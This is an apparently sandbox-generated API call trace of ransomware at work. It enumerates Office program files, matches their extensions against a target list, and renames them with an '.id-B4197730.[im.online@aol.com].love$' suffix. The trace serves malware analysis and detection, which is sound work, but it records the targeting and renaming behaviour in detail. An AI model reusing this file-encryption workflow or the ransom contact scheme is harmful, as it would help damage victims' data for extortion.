1 [0251.362] lstrlenW (lpString=".xlsx") returned 5 [0251.362] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0251.362] lstrlenW (lpString=".ppt") returned 4 [0251.362] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0251.363] lstrlenW (lpString=".zip") returned 4 [0251.363] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.363] lstrlenW (lpString=".rar") returned 4 [0251.363] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.363] lstrlenW (lpString=".bz2") returned 4 [0251.363] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.363] lstrlenW (lpString=".7z") returned 3 [0251.363] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0251.363] lstrlenW (lpString=".dbf") returned 4 [0251.363] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0251.364] lstrlenW (lpString=".1cd") returned 4 [0251.364] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0251.364] lstrlenW (lpString=".jpg") returned 4 [0251.364] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0251.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0251.364] lstrlenW (lpString=".doc") returned 4 [0251.364] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.364] lstrlenW (lpString=".docx") returned 5 [0251.364] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0251.364] lstrlenW (lpString=".pdf") returned 4 [0251.364] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.364] lstrlenW (lpString=".xls") returned 4 [0251.364] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.364] lstrlenW (lpString=".xlsx") returned 5 [0251.364] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0251.364] lstrlenW (lpString=".ppt") returned 4 [0251.364] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0251.364] lstrlenW (lpString=".zip") returned 4 [0251.364] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.364] lstrlenW (lpString=".rar") returned 4 [0251.364] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.364] lstrlenW (lpString=".bz2") returned 4 [0251.364] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.364] lstrlenW (lpString=".7z") returned 3 [0251.365] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0251.365] lstrlenW (lpString=".dbf") returned 4 [0251.365] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0251.365] lstrlenW (lpString=".1cd") returned 4 [0251.365] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0251.365] lstrlenW (lpString=".jpg") returned 4 [0251.365] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.365] lstrcmpiW (lpString1=".msi", lpString2=".love$") returned 1 [0251.365] lstrlenW (lpString="C2RInt.16.msi") returned 13 [0251.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0251.369] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=12980224) returned 1 [0251.369] CloseHandle (hObject=0x45c) returned 1 [0251.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi")) returned 0x220 [0251.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.369] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[im.online@aol.com].love$")) returned 0 [0251.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0251.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0251.370] lstrlenW (lpString=".doc") returned 4 [0251.370] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0251.370] lstrlenW (lpString=".docx") returned 5 [0251.370] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0251.370] lstrlenW (lpString=".pdf") returned 4 [0251.370] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0251.370] lstrlenW (lpString=".xls") returned 4 [0251.370] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0251.370] lstrlenW (lpString=".xlsx") returned 5 [0251.370] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0251.370] lstrlenW (lpString=".ppt") returned 4 [0251.370] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0251.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0251.370] lstrlenW (lpString=".zip") returned 4 [0251.370] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0251.370] lstrlenW (lpString=".rar") returned 4 [0251.370] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0251.370] lstrlenW (lpString=".bz2") returned 4 [0251.370] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0251.370] lstrlenW (lpString=".7z") returned 3 [0251.370] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0251.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0251.370] lstrlenW (lpString=".dbf") returned 4 [0251.370] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0251.371] lstrcmpiW (lpString1=".msi", lpString2=".love$") returned 1 [0251.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0251.373] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=45056) returned 1 [0251.373] CloseHandle (hObject=0x45c) returned 1 [0251.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi")) returned 0x220 [0251.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.374] lstrcmpiW (lpString1=".exe", lpString2=".love$") returned -1 [0251.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0251.374] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=1229936) returned 1 [0251.374] CloseHandle (hObject=0x45c) returned 1 [0251.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe")) returned 0x220 [0251.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.377] lstrcmpiW (lpString1=".exe", lpString2=".love$") returned -1 [0251.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0251.379] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=7217832) returned 1 [0251.379] CloseHandle (hObject=0x45c) returned 1 [0251.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe")) returned 0x220 [0251.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.388] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[im.online@aol.com].love$")) returned 0 [0251.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0251.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0251.389] lstrlenW (lpString=".doc") returned 4 [0251.389] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0251.389] lstrlenW (lpString=".docx") returned 5 [0251.389] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0251.389] lstrlenW (lpString=".pdf") returned 4 [0251.389] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0251.389] lstrlenW (lpString=".xls") returned 4 [0251.389] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0251.389] lstrlenW (lpString=".xlsx") returned 5 [0251.389] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0251.389] lstrlenW (lpString=".ppt") returned 4 [0251.389] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0251.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0251.389] lstrlenW (lpString=".zip") returned 4 [0251.389] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0251.389] lstrlenW (lpString=".rar") returned 4 [0251.389] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0251.389] lstrlenW (lpString=".bz2") returned 4 [0251.389] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0251.389] lstrlenW (lpString=".7z") returned 3 [0251.389] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0251.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0251.390] lstrlenW (lpString=".dbf") returned 4 [0251.390] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0251.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0251.390] lstrlenW (lpString=".1cd") returned 4 [0251.390] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0251.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0251.390] lstrlenW (lpString=".jpg") returned 4 [0251.390] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0251.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0251.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0251.390] lstrlenW (lpString=".doc") returned 4 [0251.390] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0251.390] lstrlenW (lpString=".docx") returned 5 [0251.390] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0251.390] lstrlenW (lpString=".pdf") returned 4 [0251.390] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0251.390] lstrlenW (lpString=".xls") returned 4 [0251.390] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0251.390] lstrlenW (lpString=".xlsx") returned 5 [0251.390] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0251.390] lstrlenW (lpString=".ppt") returned 4 [0251.390] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0251.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0251.390] lstrlenW (lpString=".zip") returned 4 [0251.390] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0251.390] lstrlenW (lpString=".rar") returned 4 [0251.390] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0251.391] lstrlenW (lpString=".bz2") returned 4 [0251.391] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0251.391] lstrlenW (lpString=".7z") returned 3 [0251.391] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0251.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0251.391] lstrlenW (lpString=".dbf") returned 4 [0251.391] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0251.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0251.391] lstrlenW (lpString=".1cd") returned 4 [0251.391] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0251.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0251.391] lstrlenW (lpString=".jpg") returned 4 [0251.391] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0251.391] lstrcmpiW (lpString1=".msp", lpString2=".love$") returned 1 [0251.391] lstrlenW (lpString="QFE31927.msp") returned 12 [0251.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0251.394] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=25876480) returned 1 [0251.394] CloseHandle (hObject=0x45c) returned 1 [0251.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp")) returned 0x220 [0251.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.395] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[im.online@aol.com].love$")) returned 0 [0251.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0251.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0251.395] lstrlenW (lpString=".doc") returned 4 [0251.395] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1 [0251.395] lstrlenW (lpString=".docx") returned 5 [0251.395] lstrcmpiW (lpString1=".docx", lpString2="7.msp") returned -1 [0251.395] lstrlenW (lpString=".pdf") returned 4 [0251.395] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1 [0251.395] lstrlenW (lpString=".xls") returned 4 [0251.395] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1 [0251.395] lstrlenW (lpString=".xlsx") returned 5 [0251.395] lstrcmpiW (lpString1=".xlsx", lpString2="7.msp") returned -1 [0251.395] lstrlenW (lpString=".ppt") returned 4 [0251.395] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1 [0251.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0251.395] lstrlenW (lpString=".zip") returned 4 [0251.395] lstrcmpiW (lpString1=".zip", lpString2=".msp") returned 1 [0251.396] lstrlenW (lpString=".rar") returned 4 [0251.396] lstrcmpiW (lpString1=".rar", lpString2=".msp") returned 1 [0251.396] lstrlenW (lpString=".bz2") returned 4 [0251.396] lstrcmpiW (lpString1=".bz2", lpString2=".msp") returned -1 [0251.396] lstrlenW (lpString=".7z") returned 3 [0251.396] lstrcmpiW (lpString1=".7z", lpString2="msp") returned -1 [0251.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0251.396] lstrlenW (lpString=".dbf") returned 4 [0251.396] lstrcmpiW (lpString1=".dbf", lpString2=".msp") returned -1 [0251.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0251.396] lstrlenW (lpString=".1cd") returned 4 [0251.396] lstrcmpiW (lpString1=".1cd", lpString2=".msp") returned -1 [0251.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0251.396] lstrlenW (lpString=".jpg") returned 4 [0251.396] lstrcmpiW (lpString1=".jpg", lpString2=".msp") returned -1 [0251.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0251.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0251.396] lstrlenW (lpString=".doc") returned 4 [0251.396] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1 [0251.396] lstrlenW (lpString=".docx") returned 5 [0251.396] lstrcmpiW (lpString1=".docx", lpString2="7.msp") returned -1 [0251.396] lstrlenW (lpString=".pdf") returned 4 [0251.396] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1 [0251.396] lstrlenW (lpString=".xls") returned 4 [0251.396] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1 [0251.396] lstrlenW (lpString=".xlsx") returned 5 [0251.396] lstrcmpiW (lpString1=".xlsx", lpString2="7.msp") returned -1 [0251.397] lstrlenW (lpString=".ppt") returned 4 [0251.397] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1 [0251.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0251.397] lstrlenW (lpString=".zip") returned 4 [0251.397] lstrcmpiW (lpString1=".zip", lpString2=".msp") returned 1 [0251.397] lstrlenW (lpString=".rar") returned 4 [0251.397] lstrcmpiW (lpString1=".rar", lpString2=".msp") returned 1 [0251.397] lstrlenW (lpString=".bz2") returned 4 [0251.397] lstrcmpiW (lpString1=".bz2", lpString2=".msp") returned -1 [0251.397] lstrlenW (lpString=".7z") returned 3 [0251.397] lstrcmpiW (lpString1=".7z", lpString2="msp") returned -1 [0251.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0251.397] lstrlenW (lpString=".dbf") returned 4 [0251.397] lstrcmpiW (lpString1=".dbf", lpString2=".msp") returned -1 [0251.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0251.397] lstrlenW (lpString=".1cd") returned 4 [0251.397] lstrcmpiW (lpString1=".1cd", lpString2=".msp") returned -1 [0251.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0251.397] lstrlenW (lpString=".jpg") returned 4 [0251.397] lstrcmpiW (lpString1=".jpg", lpString2=".msp") returned -1 [0251.397] lstrcmpiW (lpString1=".msp", lpString2=".love$") returned 1 [0251.397] lstrlenW (lpString="QFE31928.msp") returned 12 [0251.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0251.398] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=25876480) returned 1 [0251.398] CloseHandle (hObject=0x45c) returned 1 [0251.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp")) returned 0x220 [0251.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[im.online@aol.com].love$")) returned 0 [0251.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0251.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0251.399] lstrlenW (lpString=".doc") returned 4 [0251.399] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1 [0251.399] lstrlenW (lpString=".docx") returned 5 [0251.399] lstrcmpiW (lpString1=".docx", lpString2="8.msp") returned -1 [0251.399] lstrlenW (lpString=".pdf") returned 4 [0251.399] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1 [0251.399] lstrlenW (lpString=".xls") returned 4 [0251.399] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1 [0251.400] lstrlenW (lpString=".xlsx") returned 5 [0251.400] lstrcmpiW (lpString1=".xlsx", lpString2="8.msp") returned -1 [0251.400] lstrlenW (lpString=".ppt") returned 4 [0251.400] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1 [0251.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0251.400] lstrlenW (lpString=".zip") returned 4 [0251.400] lstrcmpiW (lpString1=".zip", lpString2=".msp") returned 1 [0251.400] lstrlenW (lpString=".rar") returned 4 [0251.400] lstrcmpiW (lpString1=".rar", lpString2=".msp") returned 1 [0251.400] lstrlenW (lpString=".bz2") returned 4 [0251.400] lstrcmpiW (lpString1=".bz2", lpString2=".msp") returned -1 [0251.400] lstrlenW (lpString=".7z") returned 3 [0251.400] lstrcmpiW (lpString1=".7z", lpString2="msp") returned -1 [0251.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0251.400] lstrlenW (lpString=".dbf") returned 4 [0251.400] lstrcmpiW (lpString1=".dbf", lpString2=".msp") returned -1 [0251.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0251.400] lstrlenW (lpString=".1cd") returned 4 [0251.400] lstrcmpiW (lpString1=".1cd", lpString2=".msp") returned -1 [0251.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0251.400] lstrlenW (lpString=".jpg") returned 4 [0251.400] lstrcmpiW (lpString1=".jpg", lpString2=".msp") returned -1 [0251.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0251.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0251.400] lstrlenW (lpString=".doc") returned 4 [0251.401] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1 [0251.401] lstrlenW (lpString=".docx") returned 5 [0251.401] lstrcmpiW (lpString1=".docx", lpString2="8.msp") returned -1 [0251.401] lstrlenW (lpString=".pdf") returned 4 [0251.401] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1 [0251.401] lstrlenW (lpString=".xls") returned 4 [0251.401] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1 [0251.401] lstrlenW (lpString=".xlsx") returned 5 [0251.401] lstrcmpiW (lpString1=".xlsx", lpString2="8.msp") returned -1 [0251.401] lstrlenW (lpString=".ppt") returned 4 [0251.401] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1 [0251.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0251.401] lstrlenW (lpString=".zip") returned 4 [0251.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0251.402] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=12640256) returned 1 [0251.402] CloseHandle (hObject=0x45c) returned 1 [0251.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi")) returned 0x220 [0251.403] GetFileAttributesW (lpFileName="C:\\Program 